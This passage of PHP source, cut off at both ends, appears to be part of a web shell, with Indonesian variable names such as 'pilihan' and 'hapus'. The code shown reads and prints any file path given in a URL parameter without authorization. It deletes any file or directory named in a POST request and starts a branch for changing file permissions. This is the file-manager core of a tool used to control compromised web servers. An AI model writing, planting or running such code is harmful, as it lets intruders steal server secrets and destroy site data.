";
echo "
File: ".$_GET['fileloc']."
";
echo "
".htmlspecialchars(file_get_contents($_GET['fileloc']))."
";
echo "
";
author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete directory");
} else {
green("Directory deleted");
}
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete file");
} else {
green("File deleted");
}
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
echo "